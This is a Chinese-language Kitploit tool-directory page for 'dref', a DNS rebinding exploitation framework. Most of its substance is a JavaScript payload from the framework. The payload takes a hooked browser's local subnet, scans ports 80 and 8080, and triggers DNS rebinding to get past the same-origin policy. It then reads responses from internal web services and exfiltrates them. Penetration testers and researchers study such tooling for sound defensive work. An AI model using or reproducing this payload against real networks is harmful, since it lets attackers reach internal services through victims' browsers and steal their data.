Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
dref — DNS 重新绑定利用框架 | Kitploit
工具/GitHubGitHub/reverseclabs/dref
物联网安全漏洞利用Web安全渗透测试红队DNS 分析
GitHubreverseclabs/dref

dref

DNS 重新绑定利用框架

查看仓库
4947135年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

DNS 重绑定利用框架

该项目已不再维护。

dref 为 DNS 重绑定 处理了繁重的工作。以下来自其内置 payload之一的片段展示了该框架如何从被 hook 的浏览器扫描本地子网;在识别出在线 Web 服务后,它开始窃取 GET 响应,轻松绕过同源策略:

root@kitploit:~
// mainFrame() runs first
async function mainFrame () {
  // We use some tricks to derive the browser's local /24 subnet
  const localSubnet = await network.getLocalSubnet(24)

  // We use some more tricks to scan a couple of ports across the subnet
  netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
    // We launch the rebind attack on live targets
    for (let h of results.hosts) {
      for (let p of h.ports) {
        if (p.open) session.createRebindFrame(h.host, p.port)
      }
    }
  })
}

// rebindFrame() will have target ip:port as origin
function rebindFrame () {
  // After this we'll have bypassed the Same-Origin policy
  session.triggerRebind().then(() => {
    // We can now read the response across origin...
    network.get(session.baseURL, {
      successCb: (code, headers, body) => {
        // ... and exfiltrate it
        session.log({code: code, headers: headers, body: body})
      }
    })
  })
}










前往 Wiki 开始使用,或者查看 dref 攻击无头浏览器 以了解实际用例。

这是一个开发版本 - 请勿用于生产环境

下载工具